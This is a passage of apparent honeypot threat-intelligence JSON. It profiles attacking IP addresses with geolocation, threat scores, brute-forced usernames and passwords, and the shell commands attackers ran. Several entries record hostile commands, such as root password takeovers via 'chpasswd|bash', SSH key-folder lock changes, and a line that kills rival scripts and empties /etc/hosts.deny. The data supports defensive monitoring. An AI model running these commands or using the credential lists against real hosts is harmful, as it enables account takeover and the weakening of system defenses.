      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:57:29.306000+00:00",
        "last_seen_30d": "2026-04-17T03:46:58.289000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "18.116.101.220": {
      "attack_count": 260,
      "first_seen": "2026-04-01T14:14:58.919Z",
      "last_seen": "2026-04-29T11:54:28.407Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13113,
        "days_active_30d": 30,
        "ports_targeted_30d": 176,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T02:42:45.542000+00:00",
        "last_seen_30d": "2026-04-30T23:40:56+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8397,
        "Honeytrap": 3908,
        "Cowrie": 260,
        "Dionaea": 171,
        "Mailoney": 166,
        "ConPot": 109,
        "Redishoneypot": 44,
        "Ipphoney": 17,
        "Honeyaml": 16,
        "CitrixHoneypot": 6,
        "ElasticPot": 6,
        "Tanner": 6,
        "H0neytr4p": 5,
        "Ciscoasa": 2
      }
    },
    "122.252.246.1": {
      "attack_count": 258,
      "first_seen": "2026-04-04T07:33:27.675Z",
      "last_seen": "2026-04-04T08:42:50.135Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "kiran",
        "steam",
        "nam",
        "rstest",
        "support",
        "teamspeak",
        "thor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456_ASDF",
        "123456a?",
        "12345qwerty",
        "1234Password",
        "1234_asdf",
        "123Admin",
        "1qaz@WSX",
        "P@$$w0rd2026",
        "Q1w2e3r4t5!",
        "QWE-123",
        "QWERTYUIO123456789",
        "Sp123456",
        "Wy@123456",
        "asdfgh123",
        "changeme!@#",
        "manager",
        "nam"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456a?\\nNgiqS16jI2uo\\nNgiqS16jI2uo\\n\"|passwd",
        "echo \"1234\\nx9sO4ESjzgV2\\nx9sO4ESjzgV2\\n\"|passwd",
        "echo -e \"123456a?\\nNgiqS16jI2uo\\nNgiqS16jI2uo\"|passwd|bash",
        "echo -e \"1234\\nx9sO4ESjzgV2\\nx9sO4ESjzgV2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24186,
      "as_org": "RailTel Corporation of India Ltd",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:33:27.675000+00:00",
        "last_seen_30d": "2026-04-04T08:43:59.205000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 71
      }
    },
    "61.28.144.154": {
      "attack_count": 236,
      "first_seen": "2026-04-02T22:27:17.468Z",
      "last_seen": "2026-04-02T23:39:24.187Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0706",
        "123456wW",
        "123@",
        "2586",
        "456lf",
        "Aaa",
        "Gh123456",
        "P4ssword2026",
        "aaron123",
        "abc@123.",
        "abcd1234@",
        "f00tb4ll",
        "good",
        "manuel",
        "mnbvcxz123",
        "q1w2e3r4T5",
        "qaz1234567",
        "qweasdzxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8tzD612X5v86\"|chpasswd|bash",
        "echo \"root:negDR7AxmuVy\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Makati City",
      "asn": 9658,
      "as_org": "Eastern Telecoms Phils., Inc.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:27:17.468000+00:00",
        "last_seen_30d": "2026-04-02T23:40:28.325000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "52.237.80.79": {
      "attack_count": 194,
      "first_seen": "2026-04-08T08:15:53.006Z",
      "last_seen": "2026-04-08T09:00:43.655Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "ali",
        "julien",
        "345gs5662d34",
        "ftpuser",
        "minecraft",
        "postgres",
        "steam",
        "vpsuser",
        "work"
      ],
      "passwords_attempted": [
        "123123qwe",
        "123456",
        "12345671",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc12345678@",
        "Ali02",
        "Ftpuser15",
        "P@ss2024",
        "P@ssword3",
        "Postgres28!",
        "Qwerty@1234",
        "Root1234$",
        "Steam2",
        "a123456&*(",
        "abcdefg",
        "ali!2025",
        "bbAA000",
        "change2026",
        "julien"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"julien\\nTKAAgdBLxSGO\\nTKAAgdBLxSGO\\n\"|passwd",
        "echo -e \"julien\\nTKAAgdBLxSGO\\nTKAAgdBLxSGO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T08:15:53.006000+00:00",
        "last_seen_30d": "2026-04-08T09:01:49.869000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "103.170.173.26": {
      "attack_count": 193,
      "first_seen": "2026-04-04T09:07:06.566Z",
      "last_seen": "2026-04-04T10:18:04.528Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "ali",
        "dev",
        "git",
        "guest1",
        "odoo",
        "sammy",
        "sandbox",
        "soporte",
        "steve",
        "sunil",
        "x",
        "zhou"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "123654",
        "123QWEqwe",
        "159357",
        "3245gs5662d34",
        "345gs5662d34",
        "@2024!",
        "A123456",
        "Ali1234",
        "Hello123!",
        "Odoo07",
        "P@ssw0rd1",
        "Qazwsx123456789#$",
        "Qazwsx2021@",
        "Root12345678@#",
        "Test12!@",
        "dev1@",
        "password@123",
        "qazwsx999@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:A60ouV4Ri8D0\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142595,
      "as_org": "AG Communication",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:07:06.566000+00:00",
        "last_seen_30d": "2026-04-04T10:19:05.537000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 67
      }
    },
    "179.32.223.249": {
      "attack_count": 193,
      "first_seen": "2026-04-14T06:44:19.737Z",
      "last_seen": "2026-04-14T07:27:22.934Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "claude",
        "docker",
        "ftpuser",
        "linkdood",
        "salma",
        "sammy",
        "steam",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "1029384756",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "BBaa112233",
        "Claude13!",
        "Ctyun@12345",
        "Ftpuser11",
        "P@ssw9rd",
        "Password@123",
        "QWERqwer123",
        "Qazwsx000$",
        "Qazwsx123456789!!",
        "Qwert2025",
        "Root54321#$",
        "Sammy01",
        "Secret2025!",
        "Temp123456",
        "abcd@1234",
        "ali26"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ok2PrJ6fSL5a\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:44:19.737000+00:00",
        "last_seen_30d": "2026-04-14T07:28:25.642000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "58.98.197.137": {
      "attack_count": 193,
      "first_seen": "2026-04-10T01:26:25.611Z",
      "last_seen": "2026-04-10T03:18:34.448Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "claude",
        "danya",
        "euser",
        "frappe",
        "ftpuser",
        "javier",
        "postgres",
        "q",
        "server",
        "test",
        "ubuntu",
        "useradmin"
      ],
      "passwords_attempted": [
        "1qaz@wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "786786",
        "Aa123456#",
        "Cisco123",
        "Claude!",
        "Ftpuser06!",
        "Qazwsx2022@123",
        "Qwe1234!",
        "Qweasd123!",
        "Qwer.1234",
        "Ubuntu#",
        "]la&1FQ,f3N2",
        "aaa@1234",
        "danya",
        "javier",
        "password",
        "q",
        "q1w2e3r4t5"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:CTuJkHpG1IFK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kyoto",
      "asn": 9595,
      "as_org": "NTT-ME Corporation",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:26:25.611000+00:00",
        "last_seen_30d": "2026-04-10T03:19:40.090000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 71
      }
    },
    "185.39.204.145": {
      "attack_count": 144,
      "first_seen": "2026-04-09T06:49:21.222Z",
      "last_seen": "2026-04-09T07:45:40.919Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "ftp1user",
        "git",
        "media",
        "nodered",
        "s",
        "test1",
        "zhangsan"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "3245gs5662d34",
        "QweAsdZxc",
        "Root11111@123",
        "Root123321@",
        "brian123",
        "ftp1user",
        "git!2025",
        "media",
        "nodered",
        "pass1234",
        "password1",
        "s",
        "vps@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password1\\nupNJgqrjMNQL\\nupNJgqrjMNQL\\n\"|passwd",
        "echo -e \"password1\\nupNJgqrjMNQL\\nupNJgqrjMNQL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:49:21.222000+00:00",
        "last_seen_30d": "2026-04-09T07:46:48.407000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 43
      }
    },
    "51.15.17.236": {
      "attack_count": 114,
      "first_seen": "2026-04-30T16:05:17.656Z",
      "last_seen": "2026-04-30T16:09:33.182Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:05:17.656000+00:00",
        "last_seen_30d": "2026-04-30T16:10:42.134000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 58
      }
    },
    "172.93.110.95": {
      "attack_count": 98,
      "first_seen": "2026-04-30T15:58:21.610Z",
      "last_seen": "2026-04-30T16:06:11.131Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:58:21.610000+00:00",
        "last_seen_30d": "2026-04-30T16:07:17.131000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 52
      }
    },
    "101.36.110.164": {
      "attack_count": 91,
      "first_seen": "2026-04-27T14:40:58.574Z",
      "last_seen": "2026-04-27T14:58:52.742Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0pl,(OKM",
        "3245gs5662d34",
        "345gs5662d34",
        "ces3rvice",
        "root1!@#123",
        "rootts"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:V7tGNNbAMYI3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T14:40:58.574000+00:00",
        "last_seen_30d": "2026-04-27T14:59:59.085000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 16
      }
    },
    "35.195.26.129": {
      "attack_count": 71,
      "first_seen": "2026-04-18T17:21:41.443Z",
      "last_seen": "2026-04-18T17:22:39.117Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6986",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T17:21:41.443000+00:00",
        "last_seen_30d": "2026-04-18T17:23:40.335000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "35.233.46.121": {
      "attack_count": 71,
      "first_seen": "2026-04-23T13:01:19.481Z",
      "last_seen": "2026-04-23T13:02:17.006Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8803",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T13:01:19.481000+00:00",
        "last_seen_30d": "2026-04-23T13:03:26.920000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "131.222.210.141": {
      "attack_count": 56,
      "first_seen": "2026-04-27T20:07:12.091Z",
      "last_seen": "2026-04-27T20:25:39.523Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:07:12.091000+00:00",
        "last_seen_30d": "2026-04-27T20:26:42.399000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 29
      }
    },
    "103.74.21.112": {
      "attack_count": 50,
      "first_seen": "2026-04-28T02:00:40.329Z",
      "last_seen": "2026-04-28T02:06:04.917Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
